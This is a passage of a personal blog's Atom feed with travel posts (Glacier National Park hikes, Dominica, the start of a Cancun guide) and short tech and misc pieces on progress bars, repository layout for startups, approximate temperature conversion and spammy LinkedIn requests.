<p>On this day, we decided to do the touristy hikes of the park, starting with Cedars Nature Trail and further to Avalanche Lake. The lake is gorgeous and the hike is highly recommended.</p>
<figure>
    
    <a href="Cedar_trail_waterfall-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Cedar_trail_waterfall-768x1024.jpg"
         alt="Cedar Nature Trail" width="900"/> </a>
</figure>

<figure>
    
    <a href="Avalanche_lake-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Avalanche_lake-1024x768.jpg"
         alt="A picturesque waterfall cascading over rocks in a lush forest setting" width="905"/> </a>
</figure>

<p>I would recommend checking more waterfalls on the way back to Mcdonald Lake, the largest lake in the park.</p>
<figure>
    
    <a href="Sacred_Dancing_Cascades-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Sacred_Dancing_Cascades-1024x768.jpg"
         alt="A scenic waterfall cascades over rocks in a lush forested area." width="905"/> </a>
</figure>

<figure>
    
    <a href="Mcdonalds_lake-1-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Mcdonalds_lake-1-1024x768.jpg"
         alt="McDonald Lake" width="905"/> </a>
</figure>

<h2 id="day-4">Day 4</h2>
<p>In the morning, we decided to check out the Hungry Horse Dam which can be accessed by a right turn just before entering the Glacier National Park.</p>
<figure>
    
    <a href="Hungry_Horse_dam-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Hungry_Horse_dam-1024x768.jpg"
         alt="The Hungry Horse Dam, located near Glacier National Park. It&#39;s surrounded by lush green forests and a large body of water, under a clear sky." width="905"/> </a>
</figure>

<p>Then we did a ~10.5-mile round-trip hike to Otokomi Lake from the Rising Sun. The weather became worse as we climbed but the overall views still made it worthy of it.</p>
<figure>
    
    <a href="Otokomi_lake_1-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Otokomi_lake_1-768x1024.jpg"
         alt="A scenic mountain landscape with a clear lake in the foreground, surrounded by lush greenery and rocky peaks under a cloudy sky." width="900"/> </a>
</figure>

<figure>
    
    <a href="Otokomi_lake_2-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Otokomi_lake_2-1024x768.jpg"
         alt="A serene mountain landscape featuring Otokomi Lake, surrounded by lush greenery and rocky terrain." width="905"/> </a>
</figure>

]]></content><category scheme="https://ashishb.net/category/travel" term="travel" label="travel"/><category scheme="https://ashishb.net/tag/usa" term="usa" label="usa"/><category scheme="https://ashishb.net/tag/hiking" term="hiking" label="hiking"/><category scheme="https://ashishb.net/tag/national-park" term="national-park" label="national-park"/></entry><entry><title type="html">Indeterminate Progress bar is an inferior UX design</title><link href="https://ashishb.net/tech/indeterminate-progress-bar-is-an-inferior-ux-design/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/tech/the-two-step-approach-to-big-code-modifications/?utm_source=atom_feed" rel="related" type="text/html" title="The two-step approach to big code modifications"/><link href="https://ashishb.net/tech/dealing-with-phone-numbers-in-contact-book/?utm_source=atom_feed" rel="related" type="text/html" title="Dealing with phone numbers in contact book"/><link href="https://ashishb.net/tech/outsourcing/?utm_source=atom_feed" rel="related" type="text/html" title="Why software outsourcing gets a bad reputation?"/><link href="https://ashishb.net/tech/journey-of-online-influencers/?utm_source=atom_feed" rel="related" type="text/html" title="Journey of online influencers"/><link href="https://ashishb.net/tech/shortcuts/?utm_source=atom_feed" rel="related" type="text/html" title="Shortcuts - when we love them and when we don't"/><id>https://ashishb.net/tech/indeterminate-progress-bar-is-an-inferior-ux-design/</id><author><name>Ashish Bhatia</name></author><published>2020-11-05T17:00:55+00:00</published><updated>2020-11-05T17:00:55+00:00</updated><content type="html"><![CDATA[<blockquote>Explore the benefits of determinate progress bars over indeterminate ones for enhancing user experience. Understand why the extra effort is worth it.</blockquote><p>60 milliseconds is when we notice something isn&rsquo;t immediate. Any user interaction, that involves sending data over the network or doing heavy computation on it, usually takes way longer than 60 milliseconds. So, we end with a progress bar. There are two broad categories of progress bars, one that shows the absolute/relative progress, a determinate progress bar, and one that does not an indeterminate progress bar.</p>
<p>Fancy but will this ever finish?</p>
<p>Now, here&rsquo;s what&rsquo;s the state transition looks like,
task started -&gt; task progressed -&gt; task finished/failed.</p>
<p>So, ideally, a software engineer should be implementing all these states. Most don&rsquo;t. Some push the error handling to a later point. And then forget.</p>
<p>In such a situation, the indeterminate progress bar just stays there, spinning and spinning. While a determinate progress bar actually stops. So, a determinate progress bar not only communicates the speed of progress to the user but also, communicates if the progress has stalled.</p>
<p>So, why aren&rsquo;t they more popular? Probably because it is a bit more work, you have to decide what the unit of work is. And if you are too off, the progress can look arbitrary. In my belief, even if the progress looks like a car navigating a bunch of speed breakers, it is superior since it communicates more actionable information to the end-user.</p>
<p>Slow towards the end but the user can see the rate of progress and if the job is stuck</p>
]]></content><category scheme="https://ashishb.net/category/tech-thoughts" term="tech-thoughts" label="tech-thoughts"/></entry><entry><title type="html">Things to do in Dominica - The nature island of the Caribbean</title><link href="https://ashishb.net/travel/dominica/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/travel/11-day-caribbean-cruise/?utm_source=atom_feed" rel="related" type="text/html" title="11-day Norwegian Breakaway East Caribbean cruise"/><link href="https://ashishb.net/travel/trinidad-and-tobago/?utm_source=atom_feed" rel="related" type="text/html" title="Mini Trip to Trinidad and Tobago"/><link href="https://ashishb.net/travel/caribbean-trip-guide/?utm_source=atom_feed" rel="related" type="text/html" title="Where to go on your first Caribbean trip"/><link href="https://ashishb.net/travel/dominican-republic/?utm_source=atom_feed" rel="related" type="text/html" title="Dominican Republic in 5 days"/><link href="https://ashishb.net/travel/aruba/?utm_source=atom_feed" rel="related" type="text/html" title="Things to do in Aruba"/><id>https://ashishb.net/travel/dominica/</id><author><name>Ashish Bhatia</name></author><published>2020-11-01T17:00:53+00:00</published><updated>2020-11-01T17:00:53+00:00</updated><content type="html"><![CDATA[<blockquote>Ultimate guide to have an adventurous travel through Dominica, the nature island of the Caribbean</blockquote><ol>
<li>Dominica, not to be confused with the 
<a href="/travel/dominican-republic/">Dominican Republic</a>, the nature island, is not easily accessible via the mainland United States. The airport is small and only propeller planes can land there.</li>
<li>The island is beautiful and is one of the few 
<a href="/travel/caribbean-trip-guide/">Caribbean</a> islands with a rainforest. It is known to have 365 rivers.</li>
<li>The currency is East Caribbean Dollar (1 USD = 2.7 XCD). The USD has full acceptance, though.</li>
<li>Kalalau is the national dish. It&rsquo;s a soup made from Dakshin, and I would recommend trying it out.</li>
<li>
<a href="/travel/public-transport-guide/">Public transport</a> is better than most other islands but is still limiting if your itinerary is jam-packed.</li>
<li>There are two towns, Roseau and Portsmouth. I would recommend staying in Roseau if you don&rsquo;t have a rental car since most tours, taxis, and buses depart from there.</li>
<li>Most good activities are on the south side of the island. The south faces the calmer Caribbean Sea while the north side faces a more turbulent Atlantic Ocean.</li>
</ol>
<h2 id="things-to-do">Things to do</h2>
<ol>
<li>  
    
    
<a href="https://www.avirtualdominica.com/the-boiling-lake/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Boiling Lake</a> - a 6-hour round-trip hike on a well-marked trail. It starts at Laudat, the highest village on the island. You can either take a 50 EC$ taxi or a 5 EC$ public bus from the Botanical Gardens. There is a &ldquo;breakfast river&rdquo; stop one hour into the hike where you can refill water bottles. The temperature at the center of the lake is about 400ºC, while at the edges is 80ºC.</li>
<li>  
    
    
<a href="https://discoverdominica.com/en/places/229/victoria-falls?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Victoria Falls</a> - The most beautiful falls on the island. It has an excellent natural swimming pool. It has a bit convoluted of a hike that involves crossing a river four times. So, it is hard to do this without a guide.</li>
</ol>
<p>  
    
    
<a href="https://www.besttime2travel.com/wavine-cyrique?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Wavine Cyrique Falls</a> - The falls themselves are not extraordinary, but the hike to the falls is pretty intense and involves climbing down a ladder on the cliff along with a cliff hike.</p>
<ol>
<li>  
    
    
<a href="https://discoverdominica.com/en/places/72/emerald-pool?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Emerald Pool and Waterfalls</a> - A famous tourist spot. It is an easily accessible pool to swim in.</li>
<li>Jacko Falls - This is an OK waterfall. Easily accessible, but nothing significant.</li>
<li>Spanny Falls - A pair of falls. The first one is easily accessible; the second requires a bit of climbing in the wild.</li>
<li>  
    
    
<a href="https://discoverdominica.com/en/places/70/scotts-head?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Scott&rsquo;s Head</a> - The best spot for snorkeling on the island. A 4 EC$ bus from Roseau to Scott&rsquo;s head runs during the day.</li>
<li>Champagne Reef - Over-hyped spot for snorkeling on the island. Scott&rsquo;s Bay is much better.</li>
<li>Canyoning with   
    
    
<a href="https://extremedominica.com/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">ExtremeDominica</a> - A great canyoning and rappeling experience through the Titou Gorge. Not cheap but well worth the price tag.</li>
<li>Trafalgar Falls - A pair of falls worth seeing. It is hard to get to their bottom for swimming.</li>
<li>  
    
    
<a href="https://discoverdominica.com/en/places/146/middleham-falls?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Middleham Falls</a> - Great Falls that require ~45 mins one-way hike to reach. With an excellent natural swimming pool.</li>
<li>Escape Beach - A good beach on the Atlantic side for snorkeling.</li>
<li>Red Rocks - Red-colored rocks close to the Escape beach. Waste of time and money. The visit cost 5 EC$.</li>
<li>Botanical Gardens - Free to access gardens that contain a 10-min hike to the top of Union Hill.</li>
<li>Windsor Cricket Stadium - An international Cricket Stadium for Cricket fans. Free to access.</li>
</ol>
<h2 id="potential-itineraries">Potential itineraries</h2>
<p>If you are on a single-day trip, e.g., via a 
<a href="/travel/first-time-cruisers/">Cruise ship</a>, then either do</p>
<ol>
<li>Boiling Lake hike with swimming in the George Titou at the end or,</li>
<li>Victoria Falls, Emerald Pool, and Scott&rsquo;s Head.</li>
</ol>
<p>If you have multiple days, then you should consider doing the following activities in this order of significance</p>
<ol>
<li>Boiling Lake hike</li>
<li>Victoria Falls</li>
<li>George Titou canyoning</li>
<li>Scott&rsquo;s Head snorkeling</li>
<li>Middleham Falls</li>
<li>Emerald Pool and Waterfalls</li>
<li>Wavine Cyrique Falls</li>
<li>Trafalgar Falls</li>
<li>Escape Beach</li>
<li>Carib Territory</li>
<li>Champagne Reef</li>
<li>Spanny Falls</li>
<li>Jacko Falls</li>
</ol>
<figure>
    
    <a href="The-airport-is-small-and-only-propeller-planes-can-land-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="The-airport-is-small-and-only-propeller-planes-can-land-1024x768.jpg"
         alt="Dominica Airport" width="900"/> </a>
</figure>

<figure>
    
    <a href="Boiling-Lake-3-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Boiling-Lake-3-1024x768.jpg"
         alt="A natural scene showcases the blue expanse of a lake surrounded by lush green hills, with steam or mist rising, creating a mystical atmosphere." width="900"/> </a>
</figure>

<figure>
    
    <a href="Boiling-Lake-2-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Boiling-Lake-2-768x1024.jpg"
         alt="Boiling lake emitting steam, surrounded by lush green hills, creating a mystical atmosphere." width="900"/> </a>
</figure>

<figure>
    
    <a href="Boiling-Lake-1-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Boiling-Lake-1-1024x768.jpg"
         alt="A vast, steaming Boiling Lake surrounded by lush greenery, releasing vapor into the air" width="900"/> </a>
</figure>

<figure>
    
    <a href="Natural-Pool-at-Titou-Gorge-at-the-entrance-to-the-Boiling-Lake-hike-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Natural-Pool-at-Titou-Gorge-at-the-entrance-to-the-Boiling-Lake-hike-768x1024.jpg"
         alt="Boiling Lake emitting steam in a volcanic region, surrounded by lush greenery. The lake&#39;s mineral-rich waters appear turbulent, with natural rock formations visible around the perimeter." width="900"/> </a>
</figure>

<figure>
    
    <a href="Victoria-Falls-1-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Victoria-Falls-1-768x1024.jpg"
         alt="A natural pool located at Titou Gorge serves as the entrance to the Boiling Lake hike. Additional images include Victoria Falls and the Emerald Pool with a waterfall." width="900"/> </a>
</figure>

<figure>
    
    <a href="Emerald-Pool-and-waterfall-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Emerald-Pool-and-waterfall-768x1024.jpg"
         alt="Emerald Pool" width="900"/> </a>
</figure>

<figure>
    
    <a href="Champagne-Reef-Beach-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Champagne-Reef-Beach-1024x768.jpg"
         alt="Champagne reef beach" width="900"/> </a>
</figure>

<figure>
    
    <a href="Scotts-Head-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Scotts-Head-1024x768.jpg"
         alt="A picturesque beach scene features clear blue waters and a lush green backdrop, commonly associated with tropical vacation destinations." width="900"/> </a>
</figure>

<figure>
    
    <a href="Cricket-bats-are-made-out-of-this-wood-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Cricket-bats-are-made-out-of-this-wood-768x1024.jpg"
         alt="A landscape view featuring Scotts Head, a coastal area with clear blue waters, lush green surroundings, and a scenic horizon under a bright sky." width="900"/> </a>
</figure>

<figure>
    
    <a href="Indian-River-1-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Indian-River-1-1024x768.jpg"
         alt="Indian River, Dominica" width="900"/> </a>
</figure>

<figure>
    
    <a href="Middleham-Falls-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Middleham-Falls-768x1024.jpg"
         alt="A picturesque waterfall in a lush, green forest setting, with a vibrant rainbow arching across the cascading water." width="900"/> </a>
</figure>

<figure>
    
    <a href="Rainbow-at-Middleham-Falls-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Rainbow-at-Middleham-Falls-1024x768.jpg"
         alt="A waterfall cascades into a lush, forested area, surrounded by greenery. A rainbow is visible, adding vibrant colors above the flowing water." width="900"/> </a>
</figure>

<figure>
    
    <a href="Jacko-Falls-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Jacko-Falls-768x1024.jpg"
         alt="A cascading waterfall flows amidst lush greenery, creating a serene landscape. Sunlight filters through, illuminating parts of the foliage and highlighting the vibrant surrounding nature." width="900"/> </a>
</figure>

<figure>
    
    <a href="Spanny-Falls-1-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Spanny-Falls-1-768x1024.jpg"
         alt="A cascading waterfall surrounded by lush greenery, featuring clear water descending a series of rocky tiers, creating a serene and picturesque natural scene." width="900"/> </a>
</figure>

<figure>
    
    <a href="Spanny-Falls-2-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Spanny-Falls-2-768x1024.jpg"
         alt="A cascading waterfall flows over lush, green foliage and rocky terrain, with mist rising from the base, creating a serene natural landscape." width="900"/> </a>
</figure>

<figure>
    
    <a href="Trafalgar-Falls-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Trafalgar-Falls-1024x768.jpg"
         alt="A pathway surrounded by lush greenery leads to Wavine Cyrique Falls, with dense forest vegetation creating a serene atmosphere." width="900"/> </a>
</figure>

<figure>
    
    <a href="Pathway-to-Wavine-Cyrique-Falls-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Pathway-to-Wavine-Cyrique-Falls-768x1024.jpg"
         alt="Wavine Cyrique Waterfalls" width="900"/> </a>
</figure>

<figure>
    
    <a href="Wavine-Cyrique-Falls-1-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Wavine-Cyrique-Falls-1-768x1024.jpg"
         alt="Wavine Cyrique Waterfalls" width="900"/> </a>
</figure>

<figure>
    
    <a href="Foto-02.02.20-18-43-57_resized-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Foto-02.02.20-18-43-57_resized-768x1024.jpg"
         alt="A yellow bus is crushed under a fallen tree in a botanical garden setting" width="900"/> </a>
</figure>

<figure>
    
    <a href="Bus-crushed-by-Hurricane-at-the-Botanical-Garden-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Bus-crushed-by-Hurricane-at-the-Botanical-Garden-1024x768.jpg"
         alt="damaged bus due to a hurricane, situated near a botanical garden" width="900"/> </a>
</figure>

<figure>
    
    <a href="Roseau-with-Cricket-Stadium-on-the-right-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Roseau-with-Cricket-Stadium-on-the-right-1024x768.jpg"
         alt="Roseau Cricket Stadium" width="900"/> </a>
</figure>

<figure>
    
    <a href="Windsor-Cricket-Stadium-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Windsor-Cricket-Stadium-1024x768.jpg"
         alt="A cricket stadium is situated by the coastline in Roseau, with a scenic view of the surrounding landscape. The stadium is prominently positioned on the right side." width="900"/> </a>
</figure>

<figure>
    
    <a href="Sunset-at-Dominica-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Sunset-at-Dominica-1024x768.jpg"
         alt="A large, sunlit cricket stadium with lush green grass and seating areas surrounds the field. The clear blue sky suggests a bright, clear day for a match." width="900"/> </a>
</figure>

<figure>
    
    <a href="Red-Rocks-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Red-Rocks-1024x768.jpg"
         alt="Red Rocks, Dominica" width="900"/> </a>
</figure>

<figure>
    
    <a href="Carib-Territory-Tourist-Center-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Carib-Territory-Tourist-Center-1024x768.jpg"
         alt="Carib Territory Tourist Center, Dominica" width="900"/> </a>
</figure>

<figure>
    
    <a href="Carib-Territory-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Carib-Territory-1024x768.jpg"
         alt="Carib Territory, Dominica" width="900"/> </a>
</figure>

<figure>
    
    <a href="Kalalau-vegetarian-soup-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Kalalau-vegetarian-soup-1024x768.jpg"
         alt="A traditional vegetarian meal includes various colorful vegetables artistically arranged on a plate representing a cultural cuisine of Dominica" width="900"/> </a>
</figure>

<figure>
    
    <a href="Traditional-Vegetarian-Food-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Traditional-Vegetarian-Food-1024x768.jpg"
         alt="A bowl of hearty vegetarian soup containing vegetables, served in a rustic dish on a wooden surface." width="900"/> </a>
</figure>

]]></content><category scheme="https://ashishb.net/category/travel" term="travel" label="travel"/><category scheme="https://ashishb.net/tag/caribbean" term="caribbean" label="caribbean"/><category scheme="https://ashishb.net/tag/dominica" term="dominica" label="dominica"/></entry><entry><title type="html">How many source-code repositories should a startup have</title><link href="https://ashishb.net/programming/how-many-source-code-repositories-should-a-startup-have/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/programming/consoles-by-google/?utm_source=atom_feed" rel="related" type="text/html" title="Consoles by Google"/><link href="https://ashishb.net/programming/android-stale-views/?utm_source=atom_feed" rel="related" type="text/html" title="Android: Don't use stale views"/><link href="https://ashishb.net/programming/file-size-should-always-be-of-long-type/?utm_source=atom_feed" rel="related" type="text/html" title='File size should always be of "long" type'/><link href="https://ashishb.net/programming/gdb/?utm_source=atom_feed" rel="related" type="text/html" title="Basic GDB Tutorial"/><link href="https://ashishb.net/programming/gcc-hacks/?utm_source=atom_feed" rel="related" type="text/html" title="GCC Hacks"/><id>https://ashishb.net/programming/how-many-source-code-repositories-should-a-startup-have/</id><author><name>Ashish Bhatia</name></author><published>2020-10-01T16:00:30+00:00</published><updated>2020-10-01T16:00:30+00:00</updated><content type="html"><![CDATA[<blockquote>Discover the optimal repository setup for startups. Balance accessibility with security and streamline development: one repo for backend, frontend, mobile, and open-source.</blockquote><p>Recently, this question came up during the discussion. &ldquo;How many source-code repositories should a startup have?&rdquo;</p>
<p>There are two extreme answers, a single monorepo for all the code or repository for each library/microservice. Uber, for example, had   
    
    
<a href="https://highscalability.com/blog/2016/10/12/lessons-learned-from-scaling-uber-to-2000-engineers-1000-ser.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">8000 git repositories</a> with only 200 engineers! I think both extremes are wrong. Too many repositories make it hard to find code and one single repository makes it harder to do simple things like 
<a href="/tech/incremental-testing-save-time-and-money-on-ci-for-monorepo/">testing</a>, bisecting (to find buggy commit), deciding repository owners.</p>
<p>Here&rsquo;s what I have seen works best.</p>
<ol>
<li>Backend code - ideally, one single repository.</li>
<li>Frontend (web) code - one single repository. This can be separately tested and even outside contractors can access this. The web code is anyways shipped to the client, so, leaking it isn&rsquo;t that big of a worry.</li>
<li>Mobile code - one repository per platform (Android, iOS, etc.) if there is no code dependency. Or one single repository if a common codebase like React Native or Flutter is being used. Again, those who access the mobile code won&rsquo;t need access to the backend code. And given that this code in compiled form is sent to the users, there is less worry around leaking it.</li>
<li>Open-source code - One repository per open-source package.</li>
</ol>
<p>As opposed to a monorepo setup, this setup makes it harder to make simultaneous changes to backend and frontend, or backend and mobile apps. And that should be the right behavior anyways. Since backend services and frontend can be, or eventually will be, deployed independently of each other. Mobile apps are deployed independently anyways, so, the backend has to provide backward-incompatibility for that.</p>
]]></content><category scheme="https://ashishb.net/category/programming" term="programming" label="programming"/><category scheme="https://ashishb.net/tag/programming" term="programming" label="programming"/></entry><entry><title type="html">Celsius vs Fahrenheit</title><link href="https://ashishb.net/misc/celsius-vs-fahrenheit/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/misc/linkedin-spammy-requests/?utm_source=atom_feed" rel="related" type="text/html" title="I’m looking for financial partners and would like to connect..."/><link href="https://ashishb.net/misc/capitalism-achilles-heel/?utm_source=atom_feed" rel="related" type="text/html" title="The Achilles heel of American capitalism"/><link href="https://ashishb.net/misc/punjabi-singers/?utm_source=atom_feed" rel="related" type="text/html" title="The science behind Punjabi singers"/><link href="https://ashishb.net/misc/statistical-outcomes-require-statistical-games/?utm_source=atom_feed" rel="related" type="text/html" title="Statistical outcomes require statistical games"/><link href="https://ashishb.net/misc/status-symbol/?utm_source=atom_feed" rel="related" type="text/html" title="Status Symbol"/><id>https://ashishb.net/misc/celsius-vs-fahrenheit/</id><author><name>Ashish Bhatia</name></author><published>2020-10-01T16:00:18+00:00</published><updated>2020-10-01T16:00:18+00:00</updated><content type="html"><![CDATA[<blockquote>Easily convert Celsius to Fahrenheit with this handy trick: double and add 30. For the reverse: subtract 30 and half. Quick approximations for travelers!</blockquote><p>The US is one of the few countries where the temperature measurements are in Fahrenheit. Elsewhere, Celsius is the norm. Usually, when traveling, I want an approximate mapping. Thankfully, it is linear and easy to memorize.</p>
<p>To convert temperature in ºC to ºF - double and add 30
To convert temperature in ºF to ºC - subtract 30 and half</p>
<p>Both of these are approximations for fast calculation</p>
<table>
  <thead>
      <tr>
          <th>ºC</th>
          <th>ºF</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>0</td>
          <td>30</td>
      </tr>
      <tr>
          <td>10</td>
          <td>50</td>
      </tr>
      <tr>
          <td>20</td>
          <td>70</td>
      </tr>
      <tr>
          <td>30</td>
          <td>90</td>
      </tr>
      <tr>
          <td>40</td>
          <td>105</td>
      </tr>
      <tr>
          <td>50</td>
          <td>120</td>
      </tr>
  </tbody>
</table>
<p>The mapping is slightly inaccurate for ease of memorization.</p>
]]></content><category scheme="https://ashishb.net/category/misc" term="misc" label="misc"/></entry><entry><title type="html">I’m looking for financial partners and would like to connect...</title><link href="https://ashishb.net/misc/linkedin-spammy-requests/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/misc/celsius-vs-fahrenheit/?utm_source=atom_feed" rel="related" type="text/html" title="Celsius vs Fahrenheit"/><link href="https://ashishb.net/misc/capitalism-achilles-heel/?utm_source=atom_feed" rel="related" type="text/html" title="The Achilles heel of American capitalism"/><link href="https://ashishb.net/misc/punjabi-singers/?utm_source=atom_feed" rel="related" type="text/html" title="The science behind Punjabi singers"/><link href="https://ashishb.net/misc/statistical-outcomes-require-statistical-games/?utm_source=atom_feed" rel="related" type="text/html" title="Statistical outcomes require statistical games"/><link href="https://ashishb.net/misc/status-symbol/?utm_source=atom_feed" rel="related" type="text/html" title="Status Symbol"/><id>https://ashishb.net/misc/linkedin-spammy-requests/</id><author><name>Ashish Bhatia</name></author><published>2020-09-15T20:31:12+00:00</published><updated>2020-09-15T20:31:12+00:00</updated><content type="html"><![CDATA[<blockquote>Discover the latest sample LinkedIn requests for financial partnerships. Explore how CEOs are seeking connections and see if you&rsquo;re the right fit!</blockquote><p>A sample of LinkedIn requests I receive these days.</p>
<p>Hi Ashish, I’m the CEO of [redacted]. [redacted]. <strong>I’m looking for financial partners</strong> and would like to connect to see if we’re a fit.</p>
<p>Hi Ashish, I’m the CEO of [redacted]. [redacted]. <strong>I’m looking for financial partners</strong> and would love to connect! - M</p>
<p>Hey Ashish, I&rsquo;m the CEO of [redacted] - [redacted]. <strong>I’m looking for introductions to financial partners</strong> and would like to connect to see if we’re a fit. - S</p>
<p>Hi Ashish, I’m the CEO of [redacted]. [redacted]. <strong>I’m looking for introductions to financial partners</strong> and would love to connect! - K</p>
<p>Hi Ashish, I’m the CEO of [redacted]. [redacted]. <strong>I’m looking for introductions to financial partners</strong> and would like to connect!</p>
<p>Hi Ashish, I&rsquo;m the CEO of [redacted] - [redacted]. <strong>I’m looking for introductions to financial partners</strong> and would like to connect to see if we’re a fit. - E</p>
<p>Hi Ashish, I’m the CEO of [redacted]. [redacted]. <strong>I’m looking for introductions to financial partners</strong> and would like to connect to see if we’re a fit. - C</p>
<p>Hi Ashish, I’m the CEO of [redacted]. [redacted]. <strong>I’m looking for introductions to financial partners</strong> and would like to connect to see if we’re a fit. - P</p>
<p>Hi Ashish, I’m the CEO of [redacted]. [redacted]. <strong>I’m looking for introductions to financial partners</strong> and would like to connect to see if we’re a fit. - Nicolas</p>
<p>Hello Ashish I&rsquo;m the CEO of [redacted]. [redacted]. <strong>We are seeking partners to join us in our financing round.</strong> Perhaps you or someone in your network would be interested?
Looking forward to networking with you
E</p>
<p>Hello Ashish I&rsquo;m the CEO of [redacted], [redacted]. <strong>We are seeking partners to join us in our financing round.</strong> Perhaps you or someone in your network would be interested?
Looking forward to networking with you
C</p>
<p>Someone informed me that this is coming from   
    
    
<a href="https://sofos.ai/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Sofos</a>.</p>
]]></content><category scheme="https://ashishb.net/category/misc" term="misc" label="misc"/><category scheme="https://ashishb.net/tag/automation" term="automation" label="automation"/><category scheme="https://ashishb.net/tag/spam" term="spam" label="spam"/></entry><entry><title type="html">Three days in Cancun, Mexico</title><link href="https://ashishb.net/travel/mexico/cancun/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/travel/mexico/guadalajara/?utm_source=atom_feed" rel="related" type="text/html" title="Four days in Guadalajara, Mexico"/><link href="https://ashishb.net/travel/mexico/mexico-city-and-valle-de-bravo/?utm_source=atom_feed" rel="related" type="text/html" title="4 days in Mexico City and Valle De Bravo"/><link href="https://ashishb.net/travel/cusco-peru/?utm_source=atom_feed" rel="related" type="text/html" title="Things to do in Cusco, Peru"/><link href="https://ashishb.net/travel/costa-rica/?utm_source=atom_feed" rel="related" type="text/html" title="Costa Rica in 4 days"/><link href="https://ashishb.net/travel/nicaragua/?utm_source=atom_feed" rel="related" type="text/html" title="Nicaragua in 5 days"/><id>https://ashishb.net/travel/mexico/cancun/</id><author><name>Ashish Bhatia</name></author><published>2020-09-05T16:00:25+00:00</published><updated>2020-09-05T16:00:25+00:00</updated><content type="html"><![CDATA[<blockquote>Discover the vibrant beauty of Cancun with our ultimate guide. From stunning beaches and historic wonders to delicious cuisine, experience it all in three days!</blockquote><p>Cancun, or, more precisely, Cancún, is a coastal tourist city on the Caribbean (eastern) side of Mexico. There are two significant areas, Punta Cancun (tip of Cancun), also known as the Hotel Zone and Playa Del Carmen. We chose to stay in Punta Cancun. The Hotel Zone is walkable and you don&rsquo;t need to rent a car if you are staying there. Buses are always available to go to other parts of Cancun though you rarely will.</p>
<p>You can get there by taxi, but the bus is pretty convenient as well. Take a bus for 94 MXN to Cancun downtown and then R1 for 12 MXN to Zona Hotelera. Both the buses are pretty frequent, so an expensive taxi isn&rsquo;t required.</p>
<h2 id="day-1-hotel-zone">Day 1: Hotel Zone</h2>
<p>There is a beautiful lagoon in the Hotel Zone, but swimming isn&rsquo;t allowed because of the crocodiles. It is still gorgeous, and I would recommend staying in a hotel close to the lagoon.</p>
<p><img alt="Cancun Lagoon" loading="lazy" src="/travel/mexico/cancun/Cancun-Lagoon-768x1024.jpg"></p>
<figure>
    
